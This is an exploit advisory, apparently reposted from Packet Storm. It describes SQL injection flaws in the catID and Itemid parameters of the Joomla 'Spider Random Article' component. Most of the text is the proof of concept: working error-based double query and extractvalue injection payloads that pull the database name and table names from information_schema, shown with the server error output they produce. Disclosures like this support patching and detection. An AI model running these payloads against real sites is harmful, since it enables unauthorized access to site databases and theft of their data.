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################################################################################################## #Exploit Title : Joomla Spider Random Article Component SQL Injection vulnerability #Author : Jagriti Sahu AKA Incredible #Vendor Link : Joomla Random Article Demo-Web Dorado #Date : 22/03/2015 #Discovered at : IndiShell Lab #Love to : error1046 ,Team IndiShell,Codebreaker ICA ,Subhi,Mrudu,Hary,Kavi ################################################################################################## //////////////////////// /// Overview: //////////////////////// joomla component "Spider Random Article" is not filtering data in catID and Itemid parameters and hence affected by SQL injection vulnerability /////////////////////////////// // Vulnerability Description: /////////////////////////////// vulnerability is due to catID and Itemid parameter //////////////// /// POC //// /////////////// SQL Injection in catID parameter ================================= Use error based double query injection with catID parameter Injected Link---> Joomla Form Maker Demo-Web-Dorado Like error based double query injection for exploiting username ---> Error: 500 View not found [name, type, prefix]: randomarticle, html, randomarticleView' and(select 1 FROM(select count(*),concat((select (select concat(database(),0x27,0x7e)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -&limit=1&style=1&view=articles&format=raw&Itemid=13 POC Image URL---> Image - TinyPic - Free Image Hosting, Photo Sharing & Video Hosting SQL Injection in Itemid parameter ================================= Itemid Parameter is exploitable using xpath injection Error: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '***%' OR items='all'' at line 1 SQL=SELECT * FROM vmvxw_spiderfacebook_params WHERE items LIKE '%***13' extractvalue(6678,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1),0x7e ))-- - POC Image URL---> http://tinypic.com/view.php?pic=1239z5h&s=8#.VRG97OESHIU ################################################################################################### --==[[special Thanks to]]==-- # Manish Kishan Tanwar # Source: http://dl.packetstormsecurity.net/1503-exploits/joomlasrac-sql.txt